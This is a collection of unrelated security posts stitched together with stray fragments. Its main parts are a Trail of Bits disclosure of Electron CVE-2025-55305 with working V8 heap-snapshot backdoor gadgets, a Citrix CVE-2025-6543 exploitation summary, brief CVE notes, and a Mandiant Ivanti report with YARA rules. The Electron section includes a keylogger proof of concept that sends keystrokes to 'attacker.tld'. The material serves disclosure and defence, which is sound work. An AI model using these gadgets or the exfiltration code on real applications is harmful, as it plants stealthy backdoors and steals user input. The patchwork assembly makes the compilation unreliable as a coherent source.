Some cases have been detected in Luxembourg.

Command injection vulnerability in FTP-Flask-python. The project seems no more maintained. Last update the April 28, 2017.

Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more -The Trail of Bits Blog

On my first project shadow at Trail of Bits, I investigated a variety of popular Electron-based applications for code integrity checking bypasses. I discovered a way to backdoor Signal, 1Password (patched in v8.11.8-40), Slack, and Chrome by tampering with executable content outside of their code integrity checks. Looking for vulnerabilities that would allow an attacker to slip malicious code into a signed application, I identified a framework-level bypass that affects nearly all applications built on top of the Chromium engine. The following is a dive into Electron CVE-2025-55305, a practical example of backdooring applications by overwriting V8 heap snapshot files.

Application integrity isn’t a new problem

Ensuring code integrity is not a new problem, but approaches to it vary between software ecosystems. The Electron project provides a combination of fuses (a.k.a. feature toggles) to enforce integrity checking on executable script components. These fuses are not on by default, and must be explicitly enabled by the developer.

Figure 1: EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar enabled in Slack

EnableEmbeddedAsarIntegrityValidation ensures that the archive containing Electron’s application code is byte-for-byte what the developer packaged with the application, and OnlyLoadAppFromAsar ensures the archive is the only place application code is loaded from. In combination, these two fuses comprise Electron’s approach to ensuring that any JavaScript that the application loads is tamper-checked before execution. Coupled with OS-level executable code signing, this is intended to provide a guarantee that the code the application runs is exactly what the developer distributed. The loss of this guarantee opens a Pandora’s box of issues, most notably that attackers can:

• Inject persistent, stealthy backdoors into vulnerable applications
• Distribute tampered-with applications that nonetheless pass signature validation

Far from being theoretical, abuse of Electron applications without integrity checking is widespread enough to have its own MITRE ATT&CK technique entry: T1218.015. Loki C2, a popular command and control framework based on this technique, uses backdoored versions of trusted applications (VS Code, Cursor, GitHub Desktop, Tidal, and more) to evade endpoint detection and response (EDR) software such as CrowdStrike Falcon as well as bypass application controls like AppLocker. Knowing this, it’s no surprise to find that organizations with high security requirements like 1Password, Signal, and Slack enable integrity checking in their Electron applications in order to mitigate the risk of those applications becoming the next persistence mechanism of an advanced threat actor.

From frozen pizza to unsigned code execution

In the words of the Google V8 team,

Being Chromium-based, Electron apps inherit the use of “V8 heap snapshot” files to speed up loading of their various browser components (see main, preload, renderer). In each component, application logic is executed in a freshly instantiated V8 JavaScript engine sandbox (referred to as a V8 isolate). These V8 isolates are expensive to create from scratch, and therefore Chromium-based apps load previously created baseline state from heap snapshots.

While heap snapshots aren’t outright executable on deserialization, JavaScript builtins within can still be clobbered to achieve code execution. All one would need is a gadget that was executed with high consistency by the host application, and unsigned code could be loaded into any V8 isolate. Oversight in Electron’s implementation of EnableEmbeddedAsarIntegrityValidation and OnlyLoadAppFromAsar meant it did not consider heap snapshots as “executable” application content, and thus it did not perform integrity checking on the snapshots. Chromium does not perform integrity checks on heap snapshots either.

Tampering with heap snapshots is particularly problematic when applications are installed to user-writable locations (such as %AppData%\Local on Windows and /Applications on macOS, with certain limitations). With the majority of Chromium-derivative applications installing to user-writable paths by default, an attacker with filesystem write access can quietly write a snapshot backdoor to an existing application or bring their own vulnerable application (all without privilege elevation). The snapshot doesn’t present as an executable file, is not rejected by OS code-signing checks, and is not integrity-checked by Chromium or Electron. This makes it an excellent candidate for stealthy persistence, and its inclusion in all V8 isolates makes it an incredibly effective Chromium-based application backdoor.

Gadget hunting

While creating custom V8 heap snapshots normally involves painfully compiling Chromium, Electron thankfully provides a prebuilt component usable for this purpose. Therefore, it’s easy to create a payload that clobbers members of the global scope, and subsequently to run a target application with the crafted snapshot.

// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
// Copy the resulting over file your application's `v8_context_snapshot.bin`

const orig = Array.isArray;

// Use the V8 builtin `Array.isArray` as a gadget.
Array.isArray = function() {
    // Attacker code executed when Array.isArray is called.
    throw new Error("testing isArray gadget");
};

Figure 2: A simple gadget example

Clobbering Array.isArray with a gadget that unconditionally throws an error results in an expected crash, demonstrating that integrity-checked applications happily include unsigned JavaScript from their V8 isolate snapshot. Different builtins can be discovered in different V8 isolates, which allows gadgets to forensically discover which isolate they are running in. For instance, Node.js’s process.pid and various Node.js methods are uniquely present in the main process’s V8 isolate. The example below demonstrates how gadgets can use this technique to selectively deploy code in different isolates.

const orig = Array.isArray;

// Clobber the V8 builtin `Array.isArray` with a custom implementation
// This is used in diverse contexts across an application's lifecycle
Array.isArray = function() {
    // Wait to be loaded in the main process, using process.pid as a sentinel
    try {
        if (!process || !process.pid) {
            return orig(...arguments);
        }
    } catch (_) {
         // Accessing undefined builtins throws an exception in some isolates
         return orig(...arguments);
    }

    // Run malicious payload once
    if (!globalThis._invoke_lock) {
        globalThis._invoke_lock = true;
        console.log('[payload] isArray hook started ...');

        // Demonstrate the presence of elevated node functionality
        console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
        console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
        console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
        console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
        process.exit(0);
    }
    return orig(...arguments);
};

Figure 3.1: Hunting for Node.js capabilities in the Electron main proces

Figure 3.2: Hunting for Node.js capabilities in the Electron main process

Developing a proof of concept

With an effective gadget used by all isolates in Electron applications, it was possible to craft demonstrations of trivial application backdoors in notable Electron applications. To capture the impact, we chose Slack, 1Password, and Signal as high-profile proofs of concept. Note that with unconstrained capabilities in the main process, even more extensive bypasses of application controls (CSP, context isolation) are feasible.

const orig = Array.isArray;
Array.isArray = function() {
    // Wait to be loaded in a browser context
    try {
        if (!alert) {
            return orig(...arguments);
        }
    } catch (_) {
        return orig(...arguments);
    }

    if (!globalThis._invoke_lock) {
        globalThis._invoke_lock = true;
        setInterval(() => {
            window.onkeydown = (e) => {
                fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {"mode": "no-cors"})
            }
        }, 1000);
    }
    return orig(...arguments);
};

Figure 4: Basic example of embedding a keylogger in Slack

With proofs of concept in hand, the team reported this vulnerability to the Electron maintainers as a bypass of the integrity checking fuses. Electron’s maintainers promptly issued CVE-2025-55305. We want to thank the Electron team for handling this report both professionally and expeditiously. They were great to work with, and their strong commitment to user security is commendable. Likewise, we would like to thank the teams at Signal, 1Password and Slack for their quick response to our courtesy disclosure of the issue.

“We were made aware of Electron CVE-2025-55305 through Trail of Bits responsible disclosure and 1Password has patched the vulnerability in v8.11.8-40. Protecting our customers’ data is always our highest priority, and we encourage all customers to update to the latest version of 1Password to ensure they remain secure.” Jacob DePriest, CISO at 1Password

The future looks Chrome

A majority of Electron applications leave integrity checking disabled by default, and most that do enable it are vulnerable to snapshot tampering. However, snapshot-based backdoors pose a risk not just to the Electron ecosystem, but to Chromium-based applications as a whole. My colleague, Emilio Lopez, has taken this technique further by demonstrating the possibility of locally backdooring Chrome and its derivative browsers using a similar technique. Given that these browsers are often installed in user-writable locations, this poses another risk of undetected persistent backdoors.

Despite providing similar mitigations for other code integrity risks, the Chrome team states that local attacks are explicitly excluded from their threat model. We still consider this to be a realistic and plausible avenue for persistent and undetected compromise of a user’s browser, especially since an attacker could distribute copies of Chrome that contain malicious code but still pass code signing. As a mitigation, authors of Chromium-derivative projects should consider applying the same integrity checking controls implemented by the Electron team.

If you’re concerned about similar vulnerabilities in your applications or need assistance implementing proper integrity controls, reach out to our team.

Ref: https://doublepulsar.com/citrix-forgot-to-tell-you-cve-2025-6543-has-been-used-as-a-zero-day-since-may-2025-d76574e2dd2c

Back in late June, Citrix posted a patch for CVE-2025–6543, which they described as “Memory overflow vulnerability leading to unintended control flow and Denial of Service”. Denial of service? Piff the magic dragon, who cares.

No technical details were ever published about the vulnerability. That changes today.

What they forgot to tell you: it allows remote code execution, it was used to widespread compromise Netscaler remote access systems and maintain network access even after patching, webshells have been deployed, and Citrix knew this and just didn’t mention it.

It has compromised government and legal services worldwide. Citrix provided customers on request, under weird conditions, a script to check for compromise.. but didn’t explain what was happening, and the script was incomplete.

The exact same threat actor was also exploiting CVE-2025–5777 aka CitrixBleed 2 to steal user sessions. This was also being exploited as a zero day. I am investigating if it’s also the same threat actor exploiting CVE-2025–7775, the latest Netscaler vulnerability — more on that soon.

NCSC Netherlands have a rather cool report out about CVE-2025–6543, where they’ve essentially done Citrix’s job for them:

[## Casus: Citrix kwetsbaarheid (Update 13-08-2025)

Via deze pagina biedt het NCSC een update op de eerdere berichtgeving. We bieden hierin de publicatie van twee nieuwe…

www.ncsc.nl](https://www.ncsc.nl/actueel/nieuws/2025/07/22/casus-citrix-kwetsbaarheid?source=post_page-----d76574e2dd2c---------------------------------------)

There’s lots of detail in there, but to pull a few things out of their report:

“The NCSC notes that several critical organizations within the Netherlands have been successfully attacked.

Zero-day vulnerability

Further research shows that vulnerability has occurred since at least early may was abused by the attacker. Op 25 june citrix published information about vulnerability CVE-2025–6543 and offered a patch to fix it. To this end, we are talking about a zero-day attack, as the vulnerability was abused before it was made public.

Forensics at affected organizations show that traces have been actively erased by the attacker. This makes forensic investigation challenging.”

I recommend reading their report. It’s really good. NCSC Netherlands are gods amongst cyber.

So what’s going on really?

CVE-2025–6543 is a vulnerability which allows an attacker to supply a client certificate, which overwrites memory. This then allows code execution on the box.

How? Calls are made to the Netscaler box to the endpoint /cgi/api/login, with a client supplied certificate. By sending hundreds of requests, you can overwrite chunks of memory in the hope of executing code.

This was happening long before the patch was released, and then devices were backdoored with webshells and other goodies which persist post patching. It is still unclear the extend of the activity — NCSC NL and others are investigating. It is clear the attackers covered their tracks, too.

Hunting

I would recommend, if logs exist, checking for web access requests to /cgi/api/login on your Netscaler devices. These will be large POST requests. It is extremely unlikely these are legit requests.

If you see a series of requests in quick succession, investigate. You will also lines in your Netscaler logs indicating error code 1245184 at the same time — this error code means a client supplied certificate is invalid.

On April 16, 2025, Apple released a patch for a bug in CoreAudio which they said was “Actively exploited in the wild.” This flew under the radar a bit. Epsilon’s blog has a great writeup of the other bug that was presumably exploited in this chain: a bug in RPAC. The only thing out there that I am aware of about the CoreAudio side of the bug is a video by Billy Ellis (it’s great. I’m featured. You should watch…you’re probably here from that anyways). As he mentioned in the video, “Another security researcher by the name of ‘Noah’ was able to tweak the values such that when it was played on MacOS, it actually did lead to a crash.” I think it’s still worth it to write about that ‘tweaking’ process in more detail.

I had just finished another project and ended up on a spreadsheet maintained by Project Zero which tracks zero days that have been actively exploited in the wild. It just so happened that that day there had been another addition: CVE-2025-31200. I couldn’t find any writeups on it, or really any information other than the fact that it was a “memory corruption in CoreAudio” so I decided to have a look myself. How hard could it be?

For more details - https://blog.noahhw.dev/posts/cve-2025-31200/

Risks

FortiOS, FortiProxy, and FortiSwitchManager are core components of Fortinet’s network security and management infrastructure, which provide firewalling, proxy services, and centralized switch management.

CVE-2025-22252 is a missing authentication vulnerability that allows an unauthenticated attacker with knowledge of an existing admin account to access the device as a valid admin. Exploitation of this flaw could grant attackers unauthorized control over network infrastructure, threatening confidentiality through data exposure, integrity via configuration tampering, and availability by disrupting critical services.

Description

CVE-2025-22252 is a missing authentication for critical function vulnerability in devices configured to use a remote TACACS+ server for authentication configured to use ASCII authentication. It may allow an attacker with knowledge of an existing admin account to access the device as a valid admin via an authentication bypass, potentially resulting in complete system compromise, data theft and service disruption.

Numerous law enforcement agencies worldwide have been affected by a zero-day exploit (path traversal) in reconnaissance software. This apparently also includes body cameras used by special forces, surveillance equipment, and police drones.

The „Media Relay Service (MRS)“ (web server) software for reconnaissance devices from the Israeli manufacturer Infodraw is affected by a serious security vulnerability (Path Traversal Vulnerability). Security experts from Mint Secure discovered the vulnerability and initially reported it to the manufacturer and – due to a lack of response – subsequently to operators and CERTs worldwide in order to rule out further risks and responsibly disclose the vulnerability. This blog post describes technical details, cases from various countries, and the approach behind the discovery. Recommendations for affected organizations are also provided.

• CVE-2025-24054 is a vulnerability related to NTLM hash disclosure via spoofing, which can be exploited using a maliciously crafted .library-ms file. Active exploitation in the wild has been observed since March 19, 2025, potentially allowing attackers to leak NTLM hashes or user passwords and compromise systems. Although Microsoft released a patch on March 11, 2025, threat actors already had over a week to develop and deploy exploits before the vulnerability began to be actively abused.

• Around March 20–21, 2025, a campaign targeted government and private institutions in Poland and Romania. Attackers used malspam to distribute a Dropbox link containing an archive that exploited multiple known vulnerabilities, including CVE-2025-24054, to harvest NTLMv2-SSP hashes.

  • Initial reports suggested that exploitation occurred once the .library-ms file was unzipped. However, Microsoft’s patch documentation indicated that the vulnerability could even be triggered with minimal user interaction, such as right-clicking, dragging and dropping, or simply navigating to the folder containing the malicious file. This exploit appears to be a variant of a previously patched vulnerability, CVE-2024-43451, as both share several similarities.

For more details: CVE-2025-24054, NTLM Exploit in the Wild

Suspected China-Nexus Threat Actor Actively Exploiting Critical Ivanti Connect Secure Vulnerability (CVE-2025-22457) | Google Cloud Blog

Written by: John Wolfram, Michael Edie, Jacob Thompson, Matt Lin, Josh Murchie

On Thursday, April 3, 2025, Ivanti disclosed a critical security vulnerability, CVE-2025-22457, impacting Ivanti Connect Secure (“ICS”) VPN appliances version 22.7R2.5 and earlier. CVE-2025-22457 is a buffer overflow vulnerability, and successful exploitation would result in remote code execution. Mandiant and Ivanti have identified evidence of active exploitation in the wild against ICS 9.X (end of life) and 22.7R2.5 and earlier versions. Ivanti and Mandiant encourage all customers to upgrade as soon as possible. 

The earliest evidence of observed CVE-2025-22457 exploitation occurred in mid-March 2025. Following successful exploitation, we observed the deployment of two newly identified malware families, the TRAILBLAZE in-memory only dropper and the BRUSHFIRE passive backdoor. Additionally, deployment of the previously reported SPAWN ecosystem of malware attributed to UNC5221 was also observed. UNC5221 is a suspected China-nexus espionage actor that we previously observed conducting zero-day exploitation of edge devices dating back to 2023.

A patch for CVE-2025-22457 was released in ICS 22.7R2.6 on February 11, 2025. The vulnerability is a buffer overflow with a limited character space, and therefore it was initially believed to be a low-risk denial-of-service vulnerability. We assess it is likely the threat actor studied the patch for the vulnerability in ICS 22.7R2.6 and uncovered through a complicated process, it was possible to exploit 22.7R2.5 and earlier to achieve remote code execution.

Ivanti released patches for the exploited vulnerability and Ivanti customers are urged to follow the actions in the Security Advisory to secure their systems as soon as possible.

Post-Exploitation Tactics, Techniques, and Procedures

Following successful exploitation, Mandiant observed the deployment of two newly identified malware families tracked as TRAILBLAZE and BRUSHFIRE through a shell script dropper. Mandiant has also observed the deployment of the SPAWN ecosystem of malware. Additionally, similar to previously observed behavior, the actor attempted to modify the Integrity Checker Tool (ICT) in an attempt to evade detection.  

Shell-script Dropper

Following successful exploitation of CVE-2025-22457, Mandiant observed a shell script being leveraged that executes the TRAILBLAZE dropper. This dropper injects the BRUSHFIRE passive backdoor into a running /home/bin/web process. The first stage begins by searching for a /home/bin/web process that is a child process of another /home/bin/web process (the point of this appears to be to inject into the web process that is actually listening for connections). It then creates the the following files and associated content:

• /tmp/.p: contains the PID of the /home/bin/web process.

• /tmp/.m: contains a memory map of that process (human-readable).

• /tmp/.w: contains the base address of the web binary from that process

• /tmp/.s: contains the base address of libssl.so from that process

• /tmp/.r: contains the BRUSHFIRE passive backdoor

• /tmp/.i: contains the TRAILBLAZE dropper

The shell script then executes /tmp/.i, which is the second stage in-memory only dropper tracked as TRAILBLAZE. It then deletes all of the temporary files previously created (except for /tmp/.p), as well as the contents of the /data/var/cores directory. Next, all child processes of the /home/bin/web process are killed and the /tmp/.p file is deleted. All of this behavior is non-persistent, and the dropper will need to be re-executed if the system or process is rebooted.

TRAILBLAZE

TRAILBLAZE is an in-memory only dropper written in bare C that uses raw syscalls and is designed to be as minimal as possible, likely to ensure it can fit within the shell script as Base64. TRAILBLAZE injects a hook into the identified /home/bin/web process. It will then inject the BRUSHFIRE passive backdoor into a code cave inside that process.

BRUSHFIRE

BRUSHFIRE is a passive backdoor written in bare C that acts as an SSL_read hook. It first executes the original SSL_read function, and checks to see if the returned data begins with a specific string. If the data begins with the string, it will XOR decrypt then execute shellcode contained in the data. If the received shellcode returns a value, the backdoor will call SSL_write to send the value back.

SPAWNSLOTH

As detailed in our previous blog post, SPAWNSLOTH acts as a log tampering component tied to the SPAWNSNAIL backdoor. It targets the dslogserver process to disable both local logging and remote syslog forwarding.

SPAWNSNARE

SPAWNSNARE is a utility that is written in C and targets Linux. It can be used to extract the uncompressed linux kernel image (vmlinux) into a file and encrypt it using AES without the need for any command line tools.

SPAWNWAVE

SPAWNWAVE is an evolved version of SPAWNANT that combines capabilities from other members of the SPAWN* malware ecosystem. SPAWNWAVE overlaps with the publicly reported SPAWNCHIMERA and RESURGE malware families.

Attribution

Google Threat Intelligence Group (GTIG) attributes the exploitation of CVE-2025-22457 and the subsequent deployment of the SPAWN ecosystem of malware to the suspected China-nexus espionage actor UNC5221. GTIG has previously reported UNC5221 conducting zero-day exploitation of CVE-2025-0282, as well as the exploitation CVE-2023-46805 and CVE-2024-21887. 

Furthermore, GTIG has also previously observed UNC5221 conducting zero-day exploitation of CVE-2023-4966, impacting NetScaler ADC and NetScaler Gateway appliances. UNC5221 has targeted a wide range of countries and verticals during their operations, and has leveraged an extensive set of tooling, spanning passive backdoors to trojanized legitimate components on various edge appliances. 

GTIG assesses that UNC5221 will continue pursuing zero-day exploitation of edge devices based on their consistent history of success and aggressive operational tempo. Additionally, as noted in our prior blog post detailing CVE-2025-0282 exploitation, GTIG has observed UNC5221 leveraging an obfuscation network of compromised Cyberoam appliances, QNAP devices, and ASUS routers to mask their true source during intrusion operations.

Conclusion

This latest activity from UNC5221 underscores the ongoing sophisticated threats targeting edge devices globally. This campaign, exploiting the n-day vulnerability CVE-2025-22457, also highlights the persistent focus of actors like UNC5221 on edge devices, leveraging deep device knowledge and adding to their history of using both zero-day and now n-day flaws. This activity aligns with the broader strategy GTIG has observed among suspected China-nexus espionage groups who invest significantly in exploits and custom malware for critical edge infrastructure.

Recommendations

Mandiant recommends organizations immediately apply the available patch by upgrading Ivanti Connect Secure (ICS) appliances to version 22.7R2.6 or later to address CVE-2025-22457. Additionally organizations should use the external and internal Integrity Checker Tool (“ICT”) and contact Ivanti Support if suspicious activity is identified. To supplement this, defenders should actively monitor for core dumps related to the web process, investigate ICT statedump files, and conduct anomaly detection of client TLS certificates presented to the appliance.

Acknowledgements

We would like to thank Daniel Spicer and the rest of the team at Ivanti for their continued partnership and support in this investigation. Additionally, this analysis would not have been possible without the assistance from analysts across Google Threat Intelligence Group and Mandiant’s FLARE, we would like to specifically thank Christopher Gardner and Dhanesh Kizhakkinan of FLARE for their support.

Indicators of Compromise

To assist the security community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

YARA Rules

rule M_APT_Installer_SPAWNANT_1
{ 
    meta: 
        author = "Mandiant" 
        description = "Detects SPAWNANT. SPAWNANT is an 
Installer targeting Ivanti devices. Its purpose is to persistently 
install other malware from the SPAWN family (SPAWNSNAIL, 
SPAWNMOLE) as well as drop additional webshells on the box." 

    strings: 
        $s1 = "dspkginstall" ascii fullword
        $s2 = "vsnprintf" ascii fullword
        $s3 = "bom_files" ascii fullword
        $s4 = "do-install" ascii
        $s5 = "ld.so.preload" ascii
        $s6 = "LD_PRELOAD" ascii
        $s7 = "scanner.py" ascii

    condition: 
        uint32(0) == 0x464c457f and 5 of ($s*)
}

rule M_Utility_SPAWNSNARE_1 {
    meta:
         author = "Mandiant"
        description = "SPAWNSNARE is a utility written in C that targets 
Linux systems by extracting the uncompressed Linux kernel image 
into a file and encrypting it with AES."

    strings:
        $s1 = "\x00extract_vmlinux\x00"
        $s2 = "\x00encrypt_file\x00"
        $s3 = "\x00decrypt_file\x00"
        $s4 = "\x00lbb_main\x00"
        $s5 = "\x00busybox\x00"
        $s6 = "\x00/etc/busybox.conf\x00"

    condition:
        uint32(0) == 0x464c457f
        and all of them

}

rule M_APT_Utility_SPAWNSLOTH_2
{ 
    meta: 
        author = "Mandiant" 
        description = "Hunting rule to identify strings found in SPAWNSLOTH"

    strings: 
        $dslog = "dslogserver" ascii fullword
        $hook1 = "g_do_syslog_servers_exist" ascii fullword
        $hook2 = "ZN5DSLog4File3addEPKci" ascii fullword
        $hook3 = "funchook" ascii fullword

    condition: 
        uint32(0) == 0x464c457f and all of them
}

Posted in

• Threat Intelligence